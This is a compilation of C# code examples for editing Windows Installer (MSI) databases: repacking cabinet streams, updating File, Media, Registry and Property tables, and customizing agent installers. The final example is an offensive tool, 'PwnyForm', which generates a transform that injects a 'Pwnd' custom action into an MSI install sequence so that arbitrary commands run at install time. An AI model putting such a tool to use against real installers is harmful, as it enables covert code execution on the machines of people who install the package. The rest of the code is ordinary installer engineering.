                        this.LogMessage("extract cab {0}", mediaCab);
                        Directory.CreateDirectory(this.TempDirectory);
                        cabFile = Path.Combine(this.TempDirectory,
                            Path.GetFileNameWithoutExtension(mediaCab) + ".cab");
                        streamRec.GetStream("Data", cabFile);
                    }
                }
            }
            else
            {
                cabFile = Path.Combine(this.SourceDirectory, mediaCab);
            }

            CabInfo cab = new CabInfo(cabFile);
            ArrayList fileKeyList = new ArrayList();
            foreach (CabFileInfo fileInCab in cab.GetFiles())
            {
                string fileKey = fileInCab.Name;
                if(this.Files[fileKey] != null)
                {
                    fileKeyList.Add(fileKey);
                }
            }
            string[] fileKeys = (string[]) fileKeyList.ToArray(typeof(string));

            Directory.CreateDirectory(this.TempDirectory);

            ArrayList remainingFileKeys = new ArrayList(fileKeys);
            foreach(string fileKey in fileKeys)
            {
                InstallPath fileInstallPath = compressedFileMap[fileKey];
                if(fileInstallPath != null)
                {
                    UpdateFileStats(fileKey, fileInstallPath);

                    string filePath = Path.Combine(this.WorkingDirectory, fileInstallPath.SourcePath);
                    this.LogMessage("copy {0} {1}", filePath, fileKey);
                    File.Copy(filePath, Path.Combine(this.TempDirectory, fileKey), true);
                    remainingFileKeys.Remove(fileKey);
                }
            }

            if(remainingFileKeys.Count > 0)
            {
                this.cabName = mediaCab;
                this.cabMsg = "extract {0}\\{1}";
                string[] remainingFileKeysArray = (string[]) remainingFileKeys.ToArray(typeof(string));
                cab.UnpackFiles(remainingFileKeysArray, this.TempDirectory, remainingFileKeysArray,
                    this.CabinetProgress);
            }

            ClearReadOnlyAttribute(this.TempDirectory, fileKeys);

            if(!cabFileIsTemp)
            {
                cab = new CabInfo(Path.Combine(this.WorkingDirectory, mediaCab));
            }
            this.cabName = mediaCab;
            this.cabMsg = "compress {0}\\{1}";
            cab.PackFiles(this.TempDirectory, fileKeys, fileKeys,
                this.CompressionLevel, this.CabinetProgress);

            if(cabFileIsTemp)
            {
                Record streamRec = new Record(1);
                streamRec.SetStream(1, cabFile);
                this.Execute(String.Format(
                    "UPDATE `_Streams` SET `Data` = ? WHERE `Name` = '{0}'", mediaCab),
                    streamRec);
            }
        }

        foreach (KeyValuePair<string, InstallPath> entry in uncompressedFileMap)
        {
            UpdateFileStats((string) entry.Key, (InstallPath) entry.Value);
        }
    }
コード例 #12
0
        private static void UpdateMediaCab(Database msiDb, string folderToPack, int lastSequence)
        {
            string tempFileName = Path.GetTempFileName();

            if (File.Exists(tempFileName))
            {
                File.Delete(tempFileName);
            }

            string cabFileName = Path.ChangeExtension(tempFileName, ".cab");

            new CabInfo(cabFileName).Pack(folderToPack);

            Directory.Delete(folderToPack, true);

            var list = new List <string>();

            using (View view = msiDb.OpenView("SELECT `File` FROM `File`", new object[0]))
            {
                view.Execute();
                Record record;
                while ((record = view.Fetch()) != null)
                {
                    using (record)
                        list.Add((string)record[1]);
                }
                list.Sort();
            }

            using (View view = msiDb.OpenView("SELECT `File`, `Sequence` FROM `File`", new object[0]))
            {
                view.Execute();
                for (Record record = view.Fetch(); record != null; record = view.Fetch())
                {
                    using (record)
                    {
                        record[2] = list.IndexOf((string)record[1]) + 1;
                        view.Update(record);
                    }
                }
            }

            string cabinet;

            using (View view = msiDb.OpenView("SELECT `LastSequence`, `Cabinet` FROM `Media` WHERE `DiskId` = {0}", new object[] { 1 }))
            {
                view.Execute();
                Record record = view.Fetch();
                if (record == null)
                {
                    throw new InstallerException("Media for DiskID=1 is not found: ");
                }
                using (record)
                {
                    cabinet   = (string)record[2];
                    record[1] = lastSequence;
                    view.Update(record);
                }
            }

            using (View view = msiDb.OpenView("SELECT `Name`, `Data` FROM `_Streams` WHERE `Name` = '{0}'", new object[] { cabinet.Substring(1) }))
            {
                view.Execute();
                Record record = view.Fetch();
                using (record)
                {
                    record.SetStream("Data", cabFileName);
                    view.Update(record);
                }
            }
        }
コード例 #13
0
using System;
using System.Collections.Generic;
using System.Globalization;
using System.IO;
using BtsMsiLib.Utilities;
using Microsoft.Deployment.Compression.Cab;
using Microsoft.Deployment.WindowsInstaller;

namespace BtsMsiLib.Msi
{
    //TODO: User better variable names in general
    public static class MsiDatabaseExtensions
    {
        public static void UpdateSummaryInfo(this Database db)
        {
            // TODO: Correct values needs to be set
            using (SummaryInfo summaryInfo = db.SummaryInfo)
            {
                summaryInfo.Title = "A";
                summaryInfo.Author = "B";
                summaryInfo.Subject = "C";
                summaryInfo.Comments = "D";
                summaryInfo.Keywords = "BizTalk, deployment, application, " + "sdfsdWfsdf";
                summaryInfo.RevisionNumber = Guid.NewGuid().ToString("B").ToUpperInvariant();
                summaryInfo.CreatingApp = typeof(MsiDatabaseExtensions).Assembly.FullName;
                summaryInfo.CreateTime = DateTime.Now;
                summaryInfo.Persist();
            }
        }

        public static void UpdateSummaryInfo(this Database db, BtsMsiLib.Model.BtsApplication btsApp)
        {
            using (SummaryInfo summaryInfo = db.SummaryInfo)
            {
                summaryInfo.Title = btsApp.Name;
                summaryInfo.Author = btsApp.Authors;
                summaryInfo.Subject = btsApp.Subject;
                summaryInfo.Comments = btsApp.Description;
                summaryInfo.Keywords = btsApp.Keywords;
                summaryInfo.RevisionNumber = Guid.NewGuid().ToString("B").ToUpperInvariant();
                summaryInfo.CreatingApp = typeof(MsiDatabaseExtensions).Assembly.FullName;
                summaryInfo.CreateTime = DateTime.Now;
                summaryInfo.Persist();
            }
        }

        public static void UpdateUpgradeTable(this Database db, Guid upgradeCode)
        {
            using (View view = db.OpenView("SELECT * FROM `Upgrade`", new object[0]))
            {
                view.Execute();
                using (Record record = view.Fetch())
                {
                    record[1] = upgradeCode.ToString("B").ToUpperInvariant();
                    view.Replace(record);
                }

                db.Commit();
            }
        }

        public static void UpdateProperties(this Database db, IDictionary<string, object> properties)
        {
            using (View view = db.OpenView("SELECT * FROM `Property`", new object[0]))
            {
                view.Execute();
                foreach (string index in properties.Keys)
                {
                    using (var record = new Record(2))
                    {
                        record[1] = index;
                        record[2] = properties[index];
                        view.Assign(record);
                    }
                }

                db.Commit();
            }
        }

        public static void UpdateFileContent(this Database db, string folder, string adfFile, int resourceCount)
        {
            using (View view1 = db.OpenView("SELECT * FROM `File` WHERE `FileName` = 'APPLIC~1.ADF|ApplicationDefinition.adf'", new object[0]))
            {
                view1.Execute();
                using (Record record1 = view1.Fetch())
                {
                    string path2_1 = (string)record1[1];
                    Guid guid = Guid.NewGuid();
                    string path2_2 = "_" + guid.ToString("N").ToUpperInvariant();
                    string str1 = "C_" + path2_2;
                    string mediaStream = ExtractMediaStream(db);

                    File.Delete(Path.Combine(mediaStream, path2_1));

                    File.Copy(adfFile, Path.Combine(mediaStream, path2_2));
                    using (View view2 = db.OpenView("SELECT * FROM `Component` WHERE `KeyPath` = '{0}'", new object[]
                      {
                        path2_1
                      }))
                    {
                        view2.Execute();
                        using (Record record2 = view2.Fetch())
                        {
                            record2[1] = str1;
                            record2[2] = guid.ToString("B").ToUpperInvariant();
                            record2[6] = path2_2;
                            record2[3] = "ADFDIR";
                            view2.Replace(record2);
                        }
                    }
                    using (View view2 = db.OpenView("SELECT * FROM `FeatureComponents` WHERE `Component_` = '{0}'", new object[] { "C_" + path2_1 }))
                    {
                        view2.Execute();
                        using (Record record2 = view2.Fetch())
                        {
                            record2[2] = str1;
                            view2.Assign(record2);
                        }
                    }
                    record1[1] = path2_2;
                    record1[2] = str1;
                    record1[4] = FileHelper.FileSize(adfFile);
                    view1.Replace(record1);
                    var num = (int)db.ExecuteScalar("SELECT `LastSequence` FROM `Media` WHERE `DiskId` = {0}", new object[] { 1 });

                    for (int index = 0; index < resourceCount; ++index)
                    {
                        string cabFileName = string.Format(CultureInfo.InvariantCulture, "ITEM~{0}.CAB", new object[]{index});
                        string cabFilePath = Path.Combine(folder, cabFileName);
                        record1[1] = "_" + Guid.NewGuid().ToString("N").ToUpperInvariant();
                        record1[3] = string.Format(CultureInfo.InvariantCulture, "{0}|{1}", new object[]
                        {
                            cabFileName,
                            cabFileName
                        });
                        record1[4] = FileHelper.FileSize(cabFilePath);
                        record1[8] = ++num;
                        view1.Assign(record1);
                        File.Copy(cabFilePath, Path.Combine(mediaStream, (string)record1[1]));
                    }

                    UpdateMediaCab(db, mediaStream, num);
                }
            }
        }

        private static string ExtractMediaStream(Database db)
        {
            string tempFileName = Path.GetTempFileName();
            string tempFolder = FileHelper.GetTempFolder(tempFileName);
            string cabTempFileName = Path.ChangeExtension(tempFileName, ".cab");
            var cabFileName = (string)db.ExecuteScalar("SELECT `Cabinet` FROM `Media` WHERE `DiskId` = {0}", new object[] { 1 });

            using (View view = db.OpenView("SELECT `Name`, `Data` FROM `_Streams` WHERE `Name` = '{0}'", new object[] { cabFileName.Substring(1) }))
            {
                view.Execute();
                
                Record record = view.Fetch();
                
                if (record == null)
                    throw new InstallerException("Stream not found: " + cabFileName);

                using (record)
                    record.GetStream("Data", cabTempFileName);
            }
            var cabinetInfo = new CabInfo(cabTempFileName);
            cabinetInfo.Unpack(tempFolder);
            cabinetInfo.Delete();
            return tempFolder;
        }

        private static void UpdateMediaCab(Database msiDb, string folderToPack, int lastSequence)
        {
            string tempFileName = Path.GetTempFileName();

            if (File.Exists(tempFileName))
                File.Delete(tempFileName);

            string cabFileName = Path.ChangeExtension(tempFileName, ".cab");

            new CabInfo(cabFileName).Pack(folderToPack);

            Directory.Delete(folderToPack, true);

            var list = new List<string>();
            using (View view = msiDb.OpenView("SELECT `File` FROM `File`", new object[0]))
            {
                view.Execute();
                Record record;
                while ((record = view.Fetch()) != null)
                {
                    using (record)
                        list.Add((string)record[1]);
                }
                list.Sort();
            }

            using (View view = msiDb.OpenView("SELECT `File`, `Sequence` FROM `File`", new object[0]))
            {
                view.Execute();
                for (Record record = view.Fetch(); record != null; record = view.Fetch())
                {
                    using (record)
                    {
                        record[2] = list.IndexOf((string)record[1]) + 1;
                        view.Update(record);
                    }
                }
            }

            string cabinet;
            using (View view = msiDb.OpenView("SELECT `LastSequence`, `Cabinet` FROM `Media` WHERE `DiskId` = {0}", new object[] { 1 }))
            {
                view.Execute();
                Record record = view.Fetch();
                if (record == null)
                    throw new InstallerException("Media for DiskID=1 is not found: ");
                using (record)
                {
                    cabinet = (string)record[2];
                    record[1] = lastSequence;
                    view.Update(record);
                }
            }

            using (View view = msiDb.OpenView("SELECT `Name`, `Data` FROM `_Streams` WHERE `Name` = '{0}'", new object[] { cabinet.Substring(1) }))
            {
                view.Execute();
                Record record = view.Fetch();
                using (record)
                {
                    record.SetStream("Data", cabFileName);
                    view.Update(record);
                }
            }
        }

        public static void MakeCustomModifications(this Database db, Guid productCode, string applicationName)
        {
            string productCodeUpper = productCode.ToString("B").ToUpperInvariant();
            string shortProductCode = productCodeUpper.Substring(1, productCodeUpper.Length - 2);

            using (View view = db.OpenView("SELECT * FROM `Directory`", new object[0]))
            {
                view.Execute();
                using (var record = new Record(3))
                {
                    record[1] = "ADFDIR";
                    record[2] = "TARGETDIR";
                    record[3] = shortProductCode;
                    view.Assign(record);
                }
                db.Commit();
            }

            using (View view = db.OpenView("SELECT * FROM `ControlCondition`", new object[0]))
            {
                view.Execute();
                using (var record = new Record(4))
                {
                    record[1] = "FolderForm";
                    record[2] = "DiskCostButton";
                    record[3] = "Hide";
                    record[4] = "1=1";
                    view.Assign(record);
                }
                db.Commit();
            }

            Guid applicationGuid = Hasher.HashApplicationName(applicationName);
            string applicationCompId = "C__" + applicationGuid.ToString("N").ToUpperInvariant();

            string msiCompId;
            using (View view = db.OpenView("SELECT * FROM `File` WHERE `FileName` = 'APPLIC~1.ADF|ApplicationDefinition.adf'", new object[0]))
            {
                view.Execute();
                using (Record record = view.Fetch())
                    msiCompId = record[2].ToString();
                db.Commit();
            }

            CustomModifyRegistry(db, applicationCompId, msiCompId);
            CustomModifyComponent(db, applicationGuid, applicationCompId);
            CustomModifyFeatureComponents(db, applicationCompId, msiCompId);
            CustomModifyCustomAction(db);
            ModifySecureCustomProperties(db);
            AddErrorTableEntry(db);
        }

        private static void CustomModifyRegistry(Database msiDb, string applicationCompId, string msiCompId)
        {
            using (View view = msiDb.OpenView("SELECT * FROM `Registry` WHERE `Key` = 'Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\[ProductName]\\[ProductCode]'", new object[0]))
            {
                view.Execute();
                using (Record record = view.Fetch())
                {
                    record[6] = msiCompId;
                    view.Replace(record);
                }
            }

            using (View view = msiDb.OpenView("SELECT * FROM `Registry` WHERE `Key` = 'Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\[ProductName]' AND `Name` = '*'", new object[0]))
            {
                view.Execute();
                using (Record record = view.Fetch())
                {
                    record[6] = applicationCompId;
                    view.Replace(record);
                }
            }

            CustomModifyRegistryEntry(msiDb, applicationCompId, "NoModify");
            ModifyReadmeRegistryEntry(msiDb, applicationCompId);
            CustomModifyRegistryEntry(msiDb, applicationCompId, "URLInfoAbout");
            CustomModifyRegistryEntry(msiDb, applicationCompId, "Contact");
            CustomModifyRegistryEntry(msiDb, applicationCompId, "Uninstallstring");
            CustomModifyRegistryEntry(msiDb, applicationCompId, "NoRepair");
            CustomModifyRegistryEntry(msiDb, applicationCompId, "DisplayName");

            msiDb.Commit();
        }

        private static void CustomModifyComponent(Database msiDb, Guid applicationGuid, string applicationCompId)
        {
            using (View view = msiDb.OpenView("SELECT * FROM `Component` WHERE `Directory_` = 'TARGETDIR' AND `Attributes` = 4", new object[0]))
            {
                view.Execute();
                using (Record record = view.Fetch())
                {
                    record[1] = applicationCompId;
                    record[2] = applicationGuid.ToString("B").ToUpperInvariant();
                    view.Replace(record);
                }
                while (true)
                {
                    using (Record record = view.Fetch())
                    {
                        if (record != null)
                            view.Delete(record);
                        else
                            break;
                    }
                }
                msiDb.Commit();
            }
        }

        private static void CustomModifyFeatureComponents(Database msiDb, string applicationCompId, string msiCompId)
        {
            using (View view = msiDb.OpenView("SELECT * FROM `FeatureComponents`", new object[0]))
            {
                view.Execute();
                while (true)
                {
                    using (Record record = view.Fetch())
                    {
                        if (record != null)
                            view.Delete(record);
                        else
                            break;
                    }
                }

                const string featureName = "DefaultFeature";
                
                using (var record = new Record(2))
                {
                    record[1] = featureName;
                    record[2] = applicationCompId;
                    view.Assign(record);
                }

                using (var record = new Record(2))
                {
                    record[1] = featureName;
                    record[2] = msiCompId;
                    view.Assign(record);
                }
                msiDb.Commit();
            }
        }

        private static void CustomModifyCustomAction(Database msiDb)
        {
            using (View view = msiDb.OpenView("SELECT * FROM `CustomAction` WHERE `Source` = 'InstallUtil'", new object[0]))
            {
                view.Execute();
                
                while (true)
                {
                    using (Record record = view.Fetch())
                    {
                        if (record != null)
                        {
                            record.SetInteger(2, record.GetInteger(2) | 2048);
                            view.Replace(record);
                        }
                        else
                            break;
                    }
                }

                msiDb.Commit();
            }
        }

        private static void ModifySecureCustomProperties(Database msiDb)
        {
            using (View view = msiDb.OpenView("SELECT * FROM `Property` WHERE `Property` = 'SecureCustomProperties'", new object[0]))
            {
                view.Execute();

                using (Record record = view.Fetch())
                {
                    record[2] = "NEWERPRODUCTFOUND;BTSVERSION;BTSPATH;BTSPRODUCTNAME";
                    view.Replace(record);
                }

                msiDb.Commit();
            }
        }

        private static void AddErrorTableEntry(Database msiDb)
        {
            using (View view = msiDb.OpenView("SELECT * FROM `Error`", new object[0]))
            {
                view.Execute();
                using (var record = new Record(2))
                {
                    record[1] = 1001;
                    record[2] = "Error [1]: [2]";
                    view.Assign(record);
                }
                msiDb.Commit();
            }
        }

        private static void CustomModifyRegistryEntry(Database msiDb, string compId, string name)
        {
            using (View view = msiDb.OpenView("SELECT * FROM `Registry` WHERE `Name` = '{0}'", new object[] { name }))
            {
                view.Execute();

                using (Record record = view.Fetch())
                {
                    record[6] = compId;
                    view.Replace(record);
                }
            }
        }

        private static void ModifyReadmeRegistryEntry(Database msiDb, string compId)
        {
            using (View view = msiDb.OpenView("SELECT * FROM `Registry` WHERE `Name` = '{0}'", new object[] { "Readme" }))
            {
                view.Execute();

                using (Record record = view.Fetch())
                {
                    record[6] = compId;
                    record[5] = "file://[TARGETDIR]Readme.htm";
                    view.Replace(record);
                }
            }
        }
    }
}

コード例 #14
0
        private void ImportTables(Database db, string idtDirectory)
        {
            foreach (var table in this.Data.Tables)
            {
                var importTable     = table;
                var hasBinaryColumn = false;

                // Skip all unreal tables other than _Streams.
                if (table.Definition.Unreal && "_Streams" != table.Name)
                {
                    continue;
                }

                // Do not put the _Validation table in patches, it is not needed.
                if (OutputType.Patch == this.Data.Type && "_Validation" == table.Name)
                {
                    continue;
                }

                // The only way to import binary data is to copy it to a local subdirectory first.
                // To avoid this extra copying and perf hit, import an empty table with the same
                // definition and later import the binary data from source using records.
                foreach (var columnDefinition in table.Definition.Columns)
                {
                    if (ColumnType.Object == columnDefinition.Type)
                    {
                        importTable     = new Table(table.Definition);
                        hasBinaryColumn = true;
                        break;
                    }
                }

                // Create the table via IDT import.
                if ("_Streams" != importTable.Name)
                {
                    try
                    {
                        var command = new CreateIdtFileCommand(this.Messaging, importTable, this.Data.Codepage, idtDirectory, this.KeepAddedColumns);
                        command.Execute();

                        var trackIdt = this.BackendHelper.TrackFile(command.IdtPath, TrackedFileType.Temporary);
                        this.GeneratedTemporaryFiles.Add(trackIdt);

                        db.Import(command.IdtPath);
                    }
                    catch (WixInvalidIdtException)
                    {
                        // If ValidateRows finds anything it doesn't like, it throws
                        importTable.ValidateRows();

                        // Otherwise we rethrow the InvalidIdt
                        throw;
                    }
                }

                // insert the rows via SQL query if this table contains object fields
                if (hasBinaryColumn)
                {
                    var query = new StringBuilder("SELECT ");

                    // Build the query for the view.
                    var firstColumn = true;
                    foreach (var columnDefinition in table.Definition.Columns)
                    {
                        if (columnDefinition.Unreal)
                        {
                            continue;
                        }

                        if (!firstColumn)
                        {
                            query.Append(",");
                        }

                        query.AppendFormat(" `{0}`", columnDefinition.Name);
                        firstColumn = false;
                    }
                    query.AppendFormat(" FROM `{0}`", table.Name);

                    using (var tableView = db.OpenExecuteView(query.ToString()))
                    {
                        // Import each row containing a stream
                        foreach (var row in table.Rows)
                        {
                            using (var record = new Record(table.Definition.Columns.Length))
                            {
                                // Stream names are created by concatenating the name of the table with the values
                                // of the primary key (delimited by periods).
                                var streamName = new StringBuilder();

                                // the _Streams table doesn't prepend the table name (or a period)
                                if ("_Streams" != table.Name)
                                {
                                    streamName.Append(table.Name);
                                }

                                var needStream = false;

                                for (var i = 0; i < table.Definition.Columns.Length; i++)
                                {
                                    var columnDefinition = table.Definition.Columns[i];

                                    if (columnDefinition.Unreal)
                                    {
                                        continue;
                                    }

                                    switch (columnDefinition.Type)
                                    {
                                    case ColumnType.Localized:
                                    case ColumnType.Preserved:
                                    case ColumnType.String:
                                        var str = row.FieldAsString(i);

                                        if (columnDefinition.PrimaryKey)
                                        {
                                            if (0 < streamName.Length)
                                            {
                                                streamName.Append(".");
                                            }

                                            streamName.Append(str);
                                        }

                                        record.SetString(i + 1, str);
                                        break;

                                    case ColumnType.Number:
                                        record.SetInteger(i + 1, row.FieldAsInteger(i));
                                        break;

                                    case ColumnType.Object:
                                        var path = row.FieldAsString(i);
                                        if (null != path)
                                        {
                                            needStream = true;
                                            try
                                            {
                                                record.SetStream(i + 1, path);
                                            }
                                            catch (Win32Exception e)
                                            {
                                                if (0xA1 == e.NativeErrorCode)     // ERROR_BAD_PATHNAME
                                                {
                                                    throw new WixException(ErrorMessages.FileNotFound(row.SourceLineNumbers, path));
                                                }
                                                else
                                                {
                                                    throw new WixException(ErrorMessages.Win32Exception(e.NativeErrorCode, e.Message));
                                                }
                                            }
                                        }
                                        break;
                                    }
                                }

                                // check for a stream name that is more than 62 characters long (the maximum allowed length)
                                if (needStream && Database.MsiMaxStreamNameLength < streamName.Length)
                                {
                                    this.Messaging.Write(ErrorMessages.StreamNameTooLong(row.SourceLineNumbers, table.Name, streamName.ToString(), streamName.Length));
                                }
                                else // add the row to the database
                                {
                                    tableView.Modify(ModifyView.Assign, record);
                                }
                            }
                        }
                    }

                    // Remove rows from the _Streams table for wixpdbs.
                    if ("_Streams" == table.Name)
                    {
                        table.Rows.Clear();
                    }
                }
            }
        }
コード例 #15
0
        public byte[] UpdateMsis(bool is64bit)
        {
            var expectedClient = new ServiceVersion().Get(1).LatestClientVersion;

            if (string.IsNullOrEmpty(expectedClient))
            {
                Logger.Error("Cannot Create MSI.  Unknown Expected Toec Version");
                return(null);
            }


            var type              = is64bit ? "-x64.msi" : "-x86.msi";
            var basePath          = Path.Combine(HttpContext.Current.Server.MapPath("~"), "private", "agent");
            var stockFileFullPath = Path.Combine(basePath, $"Toec-{expectedClient}{type}");

            if (!File.Exists(stockFileFullPath))
            {
                Logger.Debug("Cannot Create MSI.  Could Not Locate Stock MSI");
                return(null);
            }

            var ca = new ServiceCertificate().GetCAPublic();

            if (ca == null)
            {
                Logger.Debug("Cannot Create MSI.  Certificate Chain Must First Be Created. ");
                return(null);
            }

            var newVersion         = expectedClient.Split('.');
            var v                  = string.Join(".", newVersion.Take(newVersion.Length - 1));
            var outputFileName     = $"Toec-{v}{type}";
            var outputFileFullPath = Path.Combine(basePath, outputFileName);

            try
            {
                File.Delete(outputFileFullPath);
            }
            catch { //ignored
            }

            try
            {
                File.Copy(stockFileFullPath, outputFileFullPath);
            }
            catch (Exception ex)
            {
                Logger.Error("Could Not Create MSI.");
                Logger.Error(ex.Message);
                return(null);
            }

            Stream   stream     = new MemoryStream(ca);
            Database database   = null;
            View     serverKey  = null;
            View     thumbprint = null;
            View     comServers = null;
            View     cert       = null;
            Record   rec        = null;

            GetMsiArgs();
            using (database = new Database(outputFileFullPath, DatabaseOpenMode.Transact))
            {
                try
                {
                    serverKey = database.OpenView(String.Format("INSERT INTO Property (Property, Value) VALUES ('{0}', '{1}')", "SERVER_KEY", _serverKey));
                    serverKey.Execute();
                    serverKey.Close();

                    comServers = database.OpenView(String.Format("INSERT INTO Property (Property, Value) VALUES ('{0}', '{1}')", "COM_SERVERS", _comServers));
                    comServers.Execute();
                    comServers.Close();

                    thumbprint = database.OpenView(String.Format("INSERT INTO Property (Property, Value) VALUES ('{0}', '{1}')", "CA_THUMBPRINT", _thumbprint));
                    thumbprint.Execute();
                    thumbprint.Close();

                    cert = database.OpenView("UPDATE `Binary` SET `Data` = ? WHERE `Name` = 'ToemsCA.Binary'");
                    rec  = new Record(1);
                    rec.SetStream(1, stream);
                    cert.Execute(rec);
                    cert.Close();

                    database.Commit();
                }
                catch (Exception ex)
                {
                    Logger.Error("Could Not Create Msi.");
                    Logger.Error(ex.Message);
                    return(null);
                }
                finally
                {
                    if (rec != null)
                    {
                        rec.Close();
                    }
                    if (serverKey != null)
                    {
                        serverKey.Close();
                    }
                    if (thumbprint != null)
                    {
                        thumbprint.Close();
                    }
                    if (comServers != null)
                    {
                        comServers.Close();
                    }
                    if (cert != null)
                    {
                        cert.Close();
                    }
                    if (database != null)
                    {
                        database.Close();
                    }
                }
            }

            var file = File.ReadAllBytes(outputFileFullPath);

            return(file);
        }
コード例 #16
0
        static void Main(string[] args)
        {
            string       msi           = null;
            string       mst           = null;
            int          order         = 1;
            bool         showHelp      = false;
            SequenceType sequenceType  = SequenceType.UI;
            string       sequenceTable = "InstallUISequence";

            Console.WriteLine(
                "PwnyForm by @_EthicalChaos_\n" +
                $"  Generates MST transform to inject arbitrary commands/cutom actions when installing MSI files\n"
                );

            OptionSet option_set = new OptionSet()
                                   .Add("m=|msi=", "MSI file to base transform on (required)", v => msi = v)
                                   .Add("t=|mst=", "MST to generate that includes new custom action (required)", v => mst = v)
                                   .Add <SequenceType>("s=|sequence=", "Which sequence table should inject the custom action into (UI (default) | Execute)", v => sequenceType = v)
                                   .Add <int>("o=|order=", "Which sequence number to use (defaults 1)", v => order = v)
                                   .Add("h|help", "Display this help", v => showHelp = v != null);

            try {
                option_set.Parse(args);

                if (showHelp || msi == null || mst == null)
                {
                    option_set.WriteOptionDescriptions(Console.Out);
                    return;
                }
            } catch (Exception e) {
                Console.WriteLine("[!] Failed to parse arguments: {0}", e.Message);
                option_set.WriteOptionDescriptions(Console.Out);
                return;
            }

            switch (sequenceType)
            {
            case SequenceType.UI:
                sequenceTable = "InstallUISequence";
                break;

            case SequenceType.Execute:
                sequenceTable = "InstallExecuteSequence";
                break;
            }

            string tmpMsi = Path.GetTempFileName();

            try {
                File.Copy(msi, tmpMsi, true);
                using (var origDatabase = new Database(msi, DatabaseOpenMode.ReadOnly)) {
                    using (var database = new Database(tmpMsi, DatabaseOpenMode.Direct)) {
                        if (!database.Tables.Contains("Binary"))
                        {
                            Console.WriteLine("[-] Binary table missing, creating...");

                            TableInfo ti = new TableInfo("Binary",
                                                         new ColumnInfo[] { new ColumnInfo("Name", "s72"),
                                                                            new ColumnInfo("Data", "v0") },
                                                         new string[] { "Name" });

                            database.Tables.Add(ti);
                        }

                        if (!database.Tables.Contains("CustomAction"))
                        {
                            Console.WriteLine("[-] CustomAction table missing, creating...");

                            TableInfo ti = new TableInfo("CustomAction",
                                                         new ColumnInfo[] { new ColumnInfo("Action", "s72"),
                                                                            new ColumnInfo("Type", "i2"),
                                                                            new ColumnInfo("Source", typeof(string), 72, false),
                                                                            new ColumnInfo("Target", typeof(string), 255, false),
                                                                            new ColumnInfo("ExtendedType", typeof(int), 4, false) }
                                                         ,
                                                         new string[] { "Action" });

                            database.Tables.Add(ti);
                        }

                        if (!database.Tables.Contains(sequenceTable))
                        {
                            Console.WriteLine($"[!] The sequence table {sequenceTable} does not exist, is this a proper MSI file?");
                            return;
                        }

                        Console.WriteLine($"[+] Inserting Custom Action into {sequenceTable} table using sequence number {order}");

                        Record binaryRecord = new Record(2);
                        binaryRecord[1] = "Pwnd";
                        binaryRecord.SetStream(2, new MemoryStream(Encoding.UTF8.GetBytes(caCode)));
                        database.Execute("INSERT INTO `Binary` (`Name`, `Data`) VALUES (?, ?)", binaryRecord);
                        database.Execute("INSERT INTO `CustomAction` (`Action`, `Type`, `Source`, `Target`) VALUES ('Pwnd', 5, 'Pwnd', 'runCommand')");
                        database.Execute($"INSERT INTO `{sequenceTable}` (`Action`, `Sequence`) VALUES ('Pwnd', {order})");

                        Console.WriteLine($"[+] Generating MST file {mst}");

                        database.GenerateTransform(origDatabase, mst);
                        database.CreateTransformSummaryInfo(origDatabase, mst, TransformErrors.None, TransformValidations.None);

                        Console.WriteLine("[+] Done!");
                    }
                }
            }catch (Exception e) {
                Console.WriteLine($"[!] Failed to generate MST with error {e.Message}");
            }
        }